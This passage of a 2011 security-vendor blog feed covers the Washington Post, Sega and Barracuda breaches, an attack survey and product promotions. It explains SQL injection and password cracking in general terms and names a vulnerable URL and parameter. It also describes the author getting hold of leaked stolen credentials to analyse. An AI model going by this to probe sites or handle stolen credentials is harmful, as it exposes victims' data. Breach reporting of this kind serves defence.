<p>The most obvious would be adding the users to a SPAM mailing list. Email SPAM is the sending of unsolicited messages to a large list of addresses. It is the digital equivalent of junk mail. The emails will be unwanted and typically sent in bulk.</p>
<p>If the hackers are looking to steal sensitive information, a common attack is phishing. Phishing is the digital equivalent of social engineering. It is a way to gain sensitive details from a user by posing as a trustworthy company. It is one of the leading causes of identity theft.</p>
<p>The typical phishing example would be a stern, official-looking email, appearing to come from a major bank. The email would usually request that the reader clicks a link and &#8220;verifies&#8221; some sensitive information.</p>
<p>The hackers can use the associated user IDs that they stole and pose as the Washington Post Jobs website itself. The users might be more likely to respond to the phishing emails if it contains their user ID for the website in question. This targeted form of phishing is called spear-phishing.</p>
<h1>Lessons Learned</h1>
<p>It is almost a <a href="http://www.acunetix.com/blog/news/90-percent-of-us-companies-hacked/">statistical certainty</a> that companies are going to get hacked. The steps that the company takes after the attack are just as important as the preventative steps before.</p>
<p>It is important to the have a quick and effective incident-response setup in place. Thankfully, the Washington Post Jobs site appears to, as it acted very quickly to patch the problem and warn its users. The obvious example to the contrary would be Sony, who suffered weeks of delays.</p>
<p>The preventative measures are important. It is essential that SQL injection vulnerabilities are scanned for and fixed. Websites are constantly changing, opening up new defects in previously-secure areas of the site.</p>
<p>In this day and age, there is no end to the ingenuity of the hackers and the lengths that they go through to gain access. Just like a cat-and-mouse game, it is ever more important that web administrators take every measure to stay ahead of the curve.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/million-user-accounts-from-washington-post-stolen/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>90% of US Companies Hacked!</title>
		<link>http://www.acunetix.com/blog/news/90-percent-of-us-companies-hacked/</link>
		<comments>http://www.acunetix.com/blog/news/90-percent-of-us-companies-hacked/#comments</comments>
		<pubDate>Mon, 04 Jul 2011 13:48:16 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3695</guid>
		<description><![CDATA[Alarming results have been announced following a recent survey conducted by the Ponemon Research Institute and Juniper Networks. In their survey, 583 American companies were interviewed on security related questions. The result seems to correlate ...]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/07/90-percent-of-american-companies-have-been-hacked.jpg"><img class="alignleft size-full wp-image-3776" title="90% of american companies have been hacked" src="http://www.acunetix.com/blog/wp-content/uploads/2011/07/90-percent-of-american-companies-have-been-hacked.jpg" alt="Has your company been hacked in the past 12 months?" width="227" height="227" /></a>Alarming results have been announced following a recent survey conducted by the Ponemon Research Institute and Juniper Networks. In their survey, 583 American companies were interviewed on security related questions. The result seems to correlate with what we have been seeing in the media during the past year; hackers are nearly always successful in their endeavours to break into your company website, and stopping them is no easy task.<span id="more-3695"></span></strong></p>
<p>The headline figure shows that 90% of companies suffered a computer hack in the past 12 months alone. More often than not, companies are actually suffering from multiple successful attacks from hackers. 77% of the companies that were successfully attacked were actually hacked multiple times. The bar chart below summarises these results.</p>
<div>
<p><img class="aligncenter" src="https://lh5.googleusercontent.com/bWIkaoCucs1F-HeEWF6UAWiraXeBIk3YCp3wss-hPgOapqF3g0GyGnztJqAd3zm5UYFOWlnPVmygtpuyVLG5K5o35fmhniixesaI0fBQ6Lt_BMwihUY" alt="" width="582px;" height="340px;" /></p>
<p>The respondents reported having a very low confidence in their ability to prevent attacks. Many believe they simply aren’t prepared. 53% also believe they will experience an attack in the next 12 months.</p>
<p>Breaches are also affecting the companies’ bottom lines in a big way. Of all the attacks reported, 41% claimed at least half a million U.S. dollars ($500,000) in damages. It may be even higher, as around a sixth couldn’t determine their losses.</p>
</div>
<h2>Who Attacked and Where</h2>
<p>Most breaches (28%) were determined to have occurred at off-site locations, however 27% of respondents were willing to blame 3rd party business partners. Perhaps unsurprisingly, 40% could not conclusively determine the source of the attacks.</p>
<p>Companies reported that they viewed their employees’ laptops as the most common attack vector (34%), this was followed by employees’ mobile devices (29% &#8211; smartphones, tablets). It is unfortunate that the top two most common perceived attack vectors are from the employees themselves.</p>
<p>Company websites are the most vulnerable target as they are accessible by hackers from all over the world and normally contain sensitive customer data. Attacks on websites are very often done using classic <a title="SQL Injection" href="http://www.acunetix.com/websitesecurity/sql-injection.htm">SQL Injection attacks</a> and <a title="Cross Site Scripting (XSS)" href="http://www.acunetix.com/websitesecurity/cross-site-scripting.htm">Cross Site Scripting</a> (XSS) vulnerabilities.</p>
<h2>Barriers</h2>
<p>What are the greatest barriers to implementing an effective network security strategy? Almost half (48%) of the companies surveyed said that they found security procedures too complex to implement. Another 48% of companies also mentioned a shortage in resources. This suggests a strong correlation. Companies are finding security procedures and practices too complex and thus expensive to implement.</p>
<p>An overwhelming majority (76%) believe that they would be more effective and secure with a simplified and streamlined network security operation. Perhaps the complexity of networks is here to stay and this gives even more reason for companies to invest in good software that can test their networks and websites for common vulnerabilities.</p>
<p><a title="Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">Vulnerability scanners</a> are becoming an increasingly effective way for companies to quickly and continuously detect the ‘low hanging fruit’ and take corrective measures. Some high-end tools also help customers investigate more complex and hard to find vulnerabilities in their websites.</p>
<h2>Increase in Attacks</h2>
<p>The last 12 &#8211; 18 months has seen an increase in the severity of the attacks. 77% of companies reported that they were now losing more money and assets with every attack. To make the problem worse, 78% also said that the frequency of attacks was also on the increase.</p>
<p>Companies reviewed the breaches that took place and stated that the top two most serious threats were determined to be web-based attacks and SQL injection attacks. Around a third voted hacking as one of the most serious security threats.</p>
<p>As for the consequences of the attacks, companies found that theft of information and business disruptions were the most serious results of a hack. With so much money being lost in breaches, companies need to invest more money into preventative security measures.</p>
<h2>Next Steps</h2>
<p>Companies can improve their ability to prevent or contain attacks by attaining a better understanding of the technologies, and making better use of security technologies. Understanding the source of the attacks goes a long way to improving security. Companies can address the insider threat by creating a comprehensive, end-to-end security policy.</p>
<p>In today’s environment, having one’s systems hacked is a near-statistical certainty. Chances are that companies are being hacked more than once. According to the statistics in the survey, each successful attack averages 500,000 American dollars. With these sorts of numbers, the new ROI on security testing is asking if your business will still exist in a year from now?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/90-percent-of-us-companies-hacked/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Sega Hacked: Over a Million Accounts Exposed</title>
		<link>http://www.acunetix.com/blog/news/sega-hacked/</link>
		<comments>http://www.acunetix.com/blog/news/sega-hacked/#comments</comments>
		<pubDate>Wed, 22 Jun 2011 14:15:47 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[website security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3662</guid>
		<description><![CDATA[Sega Corporation has joined the increasingly long list of video game companies to suffer a data breach. In an email sent to members of its Sega Pass service, it admitted that the user accounts over ...]]></description>
			<content:encoded><![CDATA[<p><img style="border-width: 0pt; border-style: none;" src="http://www.acunetix.com/blog/wp-content/uploads/2011/06/SEGA.png" alt="" width="265px;" height="105px;" align="left" /><strong><span style="font-size: 13px;">Sega Corporation has joined the increasingly long list of video game companies to suffer a data breach. In an email sent to members of its Sega Pass service, it admitted that the user accounts over almost 1.3 million users had been compromised.</span></strong><span id="more-3662"></span></p>
<h3>Sega Pass System Breached</h3>
<p>Sega Pass was taken down last Thursday after the breach was discovered. The hackers made off with the personal information of Sega’s 1.3 million users. This includes email addresses, home addresses, dates of birth and their encrypted passwords. In the email to its users, Sega stressed that the passwords were encrypted, not stored in plain text. It is not known if the passwords encryption was strong enough and whether they were salted. We know from previous security breaches that weak encryption means no encryption at all.<br />
<img src="https://lh3.googleusercontent.com/yWVljsSt-PUNTbnjS5i9HIrCXLJIYnXKUh1a2YQE9haDJqlKv1Aoq6ptU34_UtTBf0ifyDe7V7qa9oTeD-21vimODpp8OgEwVuFXzIziCCBpi3kme5g" alt="" width="550px;" height="308px;" /></p>
<p>The website in question, which can be found on the domain <a href="http://www.sega.com/sega-pass">www.sega.com/sega-pass</a> is still offline. Users who visit the page are greeted with a message that tries to tone down the severity of the attack. Perhaps the only silver lining to this is that since Sega uses external payment providers, payment information does not appear to have been stolen.</p>
<p>For its part, Sega has assured its users that they have taken all the appropriate actions to mitigate the effects of the attack. The service was temporarily taken down, and all user passwords have been reset. They have since isolated the location of the breach and have launched an investigation into the extent of the damage.</p>
<p>Additionally, Sega Corp. has strongly advised users that use the same log in information with other services to change those passwords as soon as possible.</p>
<h3>Attack Vectors</h3>
<p>The method that the hackers used is still unknown. Sega hasn’t released technical details. As the hack was performed through the Sega Pass website, it could be any of a number of hacking techniques, including <a title="What is SQL Injection?" href="http://www.acunetix.com/websitesecurity/sql-injection.htm" target="_blank">SQL Injection</a>, <a title="Cross Site Scripting Explained" href="http://www.acunetix.com/websitesecurity/cross-site-scripting.htm" target="_blank">Cross-Site-Scripting (XSS)</a> and others. My suspicion is that SQL Injection has something to do with it. It is quite normal for entire databases to be stolen when such attack vectors are utilised.</p>
<h3>Who was Responsible?</h3>
<p>As yet, no one has come forward and claimed responsibility for the hack. Most probably the hackers are trying to keep their identity secret and will probably be trying to sell the stolen information to some underground criminal network.</p>
<p>LulzSec, a hacker group notorious for its attacks on Sony, Microsoft, Nintendo, Bethesda and many others, have categorically denied responsibility.</p>
<p>Instead, the group has offered a helping hand to Sega. In <a href="http://twitter.com/#!/LulzSec/status/81765889329991680">a tweet</a>, a representative wrote: “Sega &#8211; contact us. We want to help you destroy the hackers that attacked you”.<br />
<img src="https://lh6.googleusercontent.com/IKg1DXFvIlHyGH5WarTHHnuwTbNQ_1WiYiomAx87AojnzxGQwNWm3n1lxDjewuW7atSgASISGdDYsi8VG8vVX75uNPbmF3hdFngh9KdN8y-zQ7lrU4c" alt="" width="453px;" height="209px;" /></p>
<p>LulzSec burst into the public consciousness back in May 2011, when the group hacked into the PBS website in the United States, stealing user data and posting a bogus news story. In June, they attacked the Sony Pictures websites, claiming to have seized over one million user accounts. In the same month, they attacked the Nintendo servers, but were unable to make off with any useful data.</p>
<p>The group does not appear to hack for profit. Sometimes its attacks are politically motivated, such as the PBS attack. However, in general, the group claims to simply take pleasure in causing mass fear and disorder. LulzSec has never claimed to take advantage of the data they steal. They claim to be helping draw attention to security flaws.</p>
<h3>Lessons Learned</h3>
<p>All the recent high-profile breaches have indeed drawn attention to the issue of Internet security. Sega is simply yet another victim in the long line of companies to have been attacked. Companies have an increased responsibility to take every necessary precaution to protect their users’ data. As a user, ones information is now as unsafe as it ever has been. Surely one thing is certain &#8211; now is not a good time to be an online gamer.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/sega-hacked/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>New Feature Request System for Acunetix Web Vulnerability Scanner</title>
		<link>http://www.acunetix.com/blog/news/new-feature-request-system/</link>
		<comments>http://www.acunetix.com/blog/news/new-feature-request-system/#comments</comments>
		<pubDate>Mon, 20 Jun 2011 12:17:21 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[acunetix]]></category>
		<category><![CDATA[feature request]]></category>
		<category><![CDATA[ideas]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3656</guid>
		<description><![CDATA[We are pleased to announce a new system to record feature requests, which allows feature ideas to be voted upon and thus makes its much easier for us to see the most requested features. Furthermore, ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1323" title="acunetix_logo_blog_post_100x74" src="http://www.acunetix.com/blog/wp-content/uploads/2010/02/acunetix_logo_blog_post_100x741.png" alt="" width="100" height="74" />We are pleased to announce a new system to record feature requests, which allows feature ideas to be voted upon and thus makes its much easier for us to see the most requested features. Furthermore, we can provide feedback more easily as ideas can be more easily tracked and commented on by the Acunetix team. The new Feature Request system can be found at:</p>
<ul>
<li><strong><a title="Acunetix Web Vulnerability Scanner feature requests" href="http://ideas.acunetix.com" target="_blank">http://ideas.acunetix.com</a></strong></li>
</ul>
<p>You can login using your facebook, google or twitter account and thus you do not have to create an additional account and remember the password. We look forward to hear your ideas and feature requests!</p>
<p><strong>About Acunetix</strong></p>
<p>Acunetix was founded in 2004 to combat the alarming rise in web attacks. Its flagship product, <a title="Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">Acunetix Web Vulnerability Scanner</a>, is the result of several years of work by a team of highly experienced security developers. Leading International companies and organisations such as NASA, the US Air Force, The Pentagon, PricewaterhouseCoopers and Sony use Acunetix Web Vulnerability Scanner to protect their websites and web applications. Acunetix WVS has won numerous awards including the WindowSecurity.com Web Application Security award for four times in succession. Acunetix is a privately held European company with offices in the UK, Cyprus and Malta. For more information about Acunetix, visit: <a title="Acunetix Web Security" href="http://www.acunetix.com">http://www.acunetix.com</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/new-feature-request-system/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why Choose Acunetix?</title>
		<link>http://www.acunetix.com/blog/docs/why-choose-acunetix/</link>
		<comments>http://www.acunetix.com/blog/docs/why-choose-acunetix/#comments</comments>
		<pubDate>Fri, 17 Jun 2011 11:11:47 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[docs & FAQs]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[vulnerability testing]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3642</guid>
		<description><![CDATA[Secure your web applications and websites against vulnerabilities with Acunetix Web Vulnerability Scanner!
Hacking is on the rise and the number of victims is increasing every day. See how firewalls, SSL and locked-down servers can&#8217;t stop ...]]></description>
			<content:encoded><![CDATA[<p>Secure your web applications and websites against vulnerabilities with <a title="Audit your website with Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/" target="_blank">Acunetix Web Vulnerability Scanner</a>!<span id="more-3642"></span></p>
<p>Hacking is on the rise and the number of victims is increasing every day. See how firewalls, SSL and locked-down servers can&#8217;t stop your web applications and websites from being hacked but how Acunetix protects them with:</p>
<ul>
<li>The industries&#8217; most advanced and in-depth SQL injection and Cross Site scripting testing</li>
<li>State of the art crawler technology which includes a client script analyzer engine</li>
<li>Detailed reports that pinpoint security issues right down to the exact line of code</li>
<li>Low False Positives</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/docs/why-choose-acunetix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Like Acunetix, Like Facebook, Win an iPad 2</title>
		<link>http://www.acunetix.com/blog/news/like-acunetix-like-facebook-win-an-ipad-2/</link>
		<comments>http://www.acunetix.com/blog/news/like-acunetix-like-facebook-win-an-ipad-2/#comments</comments>
		<pubDate>Tue, 14 Jun 2011 10:43:39 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[featured]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[competition]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[iPad 2]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3603</guid>
		<description><![CDATA[
One lucky Acunetix Facebook follower will be selected at random to win an iPad 2! All you have to do is follow Acunetix on Facebook. If you’re not a follower, visit http://www.facebook.com/Acunetix and click Like.
Acunetix ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter size-full wp-image-3606" style="border-width: 0pt; border-style: none;" title="Win an iPad 2 with Acunetix" src="http://www.acunetix.com/blog/wp-content/uploads/2011/06/iPad2-Acunetix-Facebook-Competition.jpg" alt="To stand a chance of winning an iPad 2, simply &quot;Like&quot; the Acunetix Facebook Page" width="557" height="449" /></p>
<p>One lucky Acunetix Facebook follower will be selected at random to win an iPad 2! <span id="more-3603"></span>All you have to do is follow Acunetix on Facebook. If you’re not a follower, visit <a href="http://www.facebook.com/Acunetix">http://www.facebook.com/Acunetix</a> and click <strong>Like</strong>.</p>
<p>Acunetix will be hosting several prize draws for its Facebook followers. You could be just a couple of clicks away from winning an iPad 2!</p>
<p>The winner will be announced on the <a href="../case-studies/us-air-force/">Acunetix Blog</a> and on the <a href="http://www.facebook.com/Acunetix">Acunetix Facebook page</a> at the end of August 2011.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/like-acunetix-like-facebook-win-an-ipad-2/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Other Web Security Scanners Ejected as US Air Force Selects Acunetix</title>
		<link>http://www.acunetix.com/blog/news/us-air-force-uses-acunetix/</link>
		<comments>http://www.acunetix.com/blog/news/us-air-force-uses-acunetix/#comments</comments>
		<pubDate>Mon, 13 Jun 2011 12:35:13 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3581</guid>
		<description><![CDATA[US Air Force Chooses Acunetix Web Vulnerability Scanner to Secure Against Web Application Vulnerabilities
USA, June 13 2011 – Acunetix, developer of leading website security scanning software, today announced that the United States Air Force has ...]]></description>
			<content:encoded><![CDATA[<h3><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/06/USAFCaseStudy.jpg"><img class="alignleft size-full wp-image-3508" style="border-width: 0pt; border-style: none;" title="US Air Force Chooses Acunetix" src="http://www.acunetix.com/blog/wp-content/uploads/2011/06/USAFCaseStudy.jpg" alt="US Air Force Chooses Acunetix" width="177" height="149" /></a>US Air Force Chooses Acunetix Web Vulnerability Scanner to Secure Against Web Application Vulnerabilities</h3>
<p>USA, June 13 2011 – <a href="http://www.acunetix.com/">Acunetix</a>, developer of leading <a href="http://www.acunetix.com/vulnerability-scanner/">website security scanning software</a>, today announced that the United States Air Force has selected Acunetix Web Vulnerability Scanner to defend against millions of cyber-attacks every day.<span id="more-3581"></span></p>
<p>The US Air Force runs mission-critical web applications on several hundred web servers and therefore needs to have the highest level of security possible. The US Air Force needed a scanner that was flexible and highly configurable in order to meet their strict internal IT policies. With the competitive price and high level of support Acunetix also provides, it became the web scanner of choice.</p>
<blockquote><p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/06/F22Afterburner.jpg"><img class="alignright size-medium wp-image-3590" style="border-width: 0pt; border-style: none;" title="Afterburners set for Acunetix" src="http://www.acunetix.com/blog/wp-content/uploads/2011/06/F22Afterburner-300x215.jpg" alt="Afterburners set for Acunetix" width="147" height="106" /></a>“We tried eEye’s Retina web security scanner, HP’s WebInspect and another dozen web security tools, but only Acunetix WVS gave us the ability to modify vulnerability checks and scan for the ever growing threat of web application vulnerabilities. The speed in which it performs the checks is also unbeatable.  Acunetix has proven itself and is worth the cost.” – Mr. Rodgers, US Air Force</p></blockquote>
<blockquote><p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/06/F14-Tomcat.jpg"><img class="size-medium wp-image-3589 alignleft" style="border-width: 0pt; border-style: none;" title="F14 Tomcat and Acunetix" src="http://www.acunetix.com/blog/wp-content/uploads/2011/06/F14-Tomcat-300x234.jpg" alt="F14 Tomcat and Acunetix" width="198" height="154" /></a>“Acunetix is able to make in depth checks for security vulnerabilities and features AcuSensor technology which allows it to increase the accuracy, find more vulnerabilities and reduce false positives. We are proud that the US Air Force relies on Acunetix and its cutting edge technology in the defense of their web servers. As Acunetix WVS is being used by international organisations, institutions and companies, Acunetix has the experience to match the demands of the US Air Force.” – Nick Galea, Acunetix CEO</p></blockquote>
<p><a href="http://www.acunetix.com/blog/case-studies/us-air-force/">Read the full US Air Force case study here</a> to see why Acunetix Web Vulnerability Scanner is the USAF scanner of choice.</p>
<p><strong>About Acunetix<br />
</strong>Acunetix was founded in 2004 to combat the alarming rise in web attacks. Its flagship product, <a href="http://www.acunetix.com/vulnerability-scanner/">Acunetix Web Vulnerability Scanner</a>, is the result of several years of work by a team of highly experienced security developers. Leading International companies and organisations such as NASA, the US Air Force, The Pentagon, PricewaterhouseCoopers and Sony use Acunetix Web Vulnerability Scanner to protect their websites and web applications. Acunetix WVS has won numerous awards including the WindowSecurity.com Web Application Security award for four times in succession. Acunetix is a privately held European company with offices in the UK, Cyprus and Malta. For more information about Acunetix, visit: <a href="http://www.acunetix.com/">http://www.acunetix.com</a>.</p>
<p><strong>About US Air Force<br />
</strong>The mission of the United States Air Force is to fly, fight and win … in air, space and cyberspace. To achieve that mission, the Air Force has a vision of Global Vigilance, Reach and Power. That vision orbits around three core competencies: developing Airmen, technology to war fighting and integrating operations. These core competencies make our six distinctive capabilities possible. For more information, please visit: <a href="http://www.airforce.com/">http://www.airforce.com/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/us-air-force-uses-acunetix/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Barracuda Networks Breached</title>
		<link>http://www.acunetix.com/blog/news/barracuda-networks-breached/</link>
		<comments>http://www.acunetix.com/blog/news/barracuda-networks-breached/#comments</comments>
		<pubDate>Thu, 05 May 2011 14:05:46 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[barracuda]]></category>
		<category><![CDATA[security breach]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[web application firewall]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3306</guid>
		<description><![CDATA[Introduction
On April 11th 2011, at nine in the evening, Barracuda Networks posted a grim entry on their blog. Their network had been hacked. Thousands of their confidential customer and employee records were stolen. In an ...]]></description>
			<content:encoded><![CDATA[<h2>Introduction</h2>
<p><strong><img class="alignleft size-full wp-image-3370" title="Barracuda Networks" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/Barracuda-networks-logo.jpg" alt="Barracuda Networks Victim of Blind SQL Injection Attack" width="240" height="70" />On April 11th 2011, at nine in the evening, Barracuda Networks posted a grim entry on their blog. Their network had been hacked. Thousands of their confidential customer and employee records were stolen. In an ironic twist of fate, the company that advocates security through it’s own Web Application Firewall were victims to the most common and oldest type of attack against web servers &#8211; the infamous Blind SQL Injection.<span id="more-3306"></span></strong></p>
<p>Web Application Firewalls like the one that Barracuda Networks manufactures are designed to stop this type of attack from occurring in the first place, however they clearly are <a title="VIDEO: web application firewall bypass with a XSS attack" href="http://www.acunetix.com/blog/news/web-application-firewall-bypass-xss-attack/">not the silver bullet against hackers</a>. On their blog, Barracuda Networks admitted that they made several mistakes, the biggest of which was to unintentionally turn off their own firewall for a few hours. This was a golden window of opportunity which hackers pounced on and immediately exploited.</p>
<p>In a vain attempt to regain their customer’s trust, Barracuda Networks explained how the vulnerability happened. They mentioned that no sensitive information was stolen and all the stolen passwords were salted. The skeptic in me decided to challenge their statements so I did my own independent research, got hold of the stolen data and began an analysis.</p>
<p>This article details my findings, where I discover that within the 20,000 records that were stolen, many were internal and possibly privileged user names and passwords. I also find that some of the most sensitive passwords were very easily cracked and were not salted as they claim. I also challenge the assumption that Web Application Firewalls can never be one’s only line of defense. In fact, after this breach I am tempted to discourage the use of such devices since they easily lead to a sense of false security.</p>
<h2>Main Concepts Behind the Attack</h2>
<p>In this section I briefly explain the different methods used during this attack. I appreciate that some of you will already be familiar with these concepts, however it is good to go over them because it will give you a better understanding of the technical analysis later.</p>
<h3>Blind SQL Injection</h3>
<p>An <a title="What is SQL Injection?" href="http://www.acunetix.com/websitesecurity/sql-injection.htm" target="_blank">SQL Injection</a> attack is executed in three phases. In the first phase, the attacker launches a series of probes, or scans against his target. These scans are testing for any known SQL Injection weakness. They typically work by sending intentionally malformed user data to the server and analysing error responses from the web application. Certain error responses pinpoint vulnerabilities, whilst others reveal important information which is used to further refine the scans.</p>
<p>In a Blind SQL Injection attack the web application does not reveal any information about the errors, therefore traditional probing methods are ineffective. This does not mean that there are no vulnerabilities, but it does make the existing ones much harder to find.</p>
<h3>Web Application Firewalls</h3>
<p>The concept behind a Web Application Firewall (WAF) is very similar to how a traditional firewall works. A set of rules are configured on the firewall that selectively allow or deny network traffic. Rules on a WAF are exclusively designed to filter HTTP traffic. They are also capable of detecting common attacks, such as SQL Injection attack probes and XSS attempts. These firewalls exist as software installed on a host, or as a dedicated hardware device. Web Application Firewalls are a good first line of defence, however this <a title="Web Application Firewalls do not replace secure development and operation of web applications" href="http://www.acunetix.com/blog/web-security-zone/whitepapers/web-application-firewalls-do-not-replace-secure-development-and-operation-of-web-applications/">does not mean that web application developers can employ lax coding and testing standards</a>, as application bugs can still be exploited through the firewall. Barracuda Networks are a major player in the field of Web Application Firewalls, however they still fell victim of the classical SQL injection attack.</p>
<h3>Hashing Passwords and Salting Hashes</h3>
<p>Hashing passwords is a popular alternative to encrypting and storing passwords in a database. A hash is a one-way algorithm. This means that a password can be turned into a hash, but this a hash cannot be turned into a password. This is very convenient for web logins. The web server never stores the password, but instead stores the hash of the password. When a user attempts to log in, the password he enters is turned into a hash and compared with the hash in the database. If the two hashes match he is authenticated.</p>
<h3>Cracking Hashed Passwords</h3>
<p>Cracking hashes is only possible with brute force. A hacker tries every possible password combination, turning each password into a hash and comparing it to the hashes he has stolen. If one of them matches, then he has found a password. This attack, although cumbersome is greatly facilitated by the use of rainbow tables. These are large files of precomputed hashes for millions of known passwords and greatly reduce the time needed for a brute force attack.</p>
<p>To protect against rainbow table attacks against hashes, security administrators are encouraged to salt their passwords before hashing. This is a simple and effective technique. It consists of adding a special value to the password before hashing and renders brute force attacks practically useless.</p>
<h2>Anatomy of the Attack</h2>
<p>The news of this breach begs the question: How does one get past a Web Application Firewall (WAF) and perform an SQL Injection attack? The answer is simple. Wait for the WAF to be disabled and then perform the attack.</p>
<p>Below is a diagram showing how a WAF is positioned to block these attacks before they even reach the web server.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/WebApplicationFirewall.png"><img class="size-full wp-image-3329 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/WebApplicationFirewall.png" alt="" width="334" height="475" /></a></p>
<p>In the diagram above you can see that legitimate traffic is allowed through the WAF, however an SQL Injection payload is stopped before it can reach the Web Application Server, and consequently the SQL database.</p>
<p>If the WAF is removed, however the Web Application Server is left exposed, as can be seen in the diagram below.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/No_WAF.png"><img class="size-full wp-image-3328 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/No_WAF.png" alt="" width="338" height="364" /></a></p>
<p>According to various reports, attackers were able to exploit this scenario for many hours until they were successful. The SQL Injection vulnerability itself was found in a PHP script which is used to list customer reference case studies. Although this script was designed to access only the partner database, the SQL breach was large enough to give the hackers access to other databases on the same system.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/customer_verticals.png"><img class="alignnone size-full wp-image-3330" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/customer_verticals.png" alt="" width="566" height="399" /></a></p>
<p>According to a statement issued by Barracuda Networks the attack started with a few hours of probing from one IP address which was followed by a full-blown attack from several locations.</p>
<p>The vulnerable URL was the following:</p>
<p><code>http://www.barracudanetworks.com/ns/customers/customer_verticals.php?v=11</code></p>
<p>As you can see from the URL above, a single parameter called “v” is passed to this module. This parameter, which is of numeric type, identifies a vertical market ID. Vertical market  ID 11, corresponds to “Entertainment and Leisure”. Changing this ID to 10 serves up the vertical market “Energy and Utilities”.</p>
<p>By manipulating this parameter, hackers were able to inject their own SQL commands into the system and read out the entire set of databases on the server.</p>
<p>The hackers also revealed some other information, which is shown below:</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/05/info.png"><img class="size-full wp-image-3327 aligncenter" src="http://www.acunetix.com/blog/wp-content/uploads/2011/05/info.png" alt="" width="500" height="124" /></a></p>
<p>It appears that the web server was running on a Microsoft Windows platform running the Microsoft IIS 6.0 web server. The vulnerable web application is listed as ASP.NET which looks odd to me, since the vulnerable URL is a PHP script and not an ASP script as one would expect on a Microsoft ASP.NET box.</p>
<p>The total extent of the breach may never be known to us, however some interesting information can be garnered through an analysis of the information leaked by the hackers themselves. The next section sifts through this information to determine what was stolen.</p>
<h2>Damage Suffered</h2>
<p>The hackers who claim to be responsible for the breach are a Malaysian group that go by the name HMSec. They posted a Full Disclosure message a few hours after the breach. In this message they listed a total of 22 different databases. Some databases are well known such as “phpmyadmin”, a popular administration tool for PHP and MySQL, who had also <a title="MySQL.com Victim of SQL Injection Attack" href="http://www.acunetix.com/blog/web-security-zone/articles/mysql-com-victim-of-sql-injection/">been a victim of an SQL Injection hack</a> some time ago. I also noticed a database called “php_live_chat” which could mean that they are running a product called phpLiveChat, a commercial software module that allows customer to interact directly with sales and support staff at Barracuda.</p>
<p>There are also some more interesting databases. For example, the database “information_schema” is probably loaded with information that the hackers could have used to penetrate the database even further. There are two database called “bware” and “black_ips”. I hope my IP addresses are not in that one!</p>
<p>I saw a database or two which look like they belong on a development machine and not a live web server. Some examples of these are “igivetest” and “igivetestsucks”. A google search for “igivetest” results in an online tool for creating multiple choice questions. I wonder why this software was being installed and experimented with on a live server. Other questionable databases are “dev_new_barracuda” and “new_barracuda_archive”, both databases look out of place and make for a very dirty mySQL implementation on their end.</p>
<p>The juicy parts are what come next, list upon list of user names and passwords.</p>
<p>Here are a few, which I have censored out of respect for Barracuda staff, partners and customers.</p>
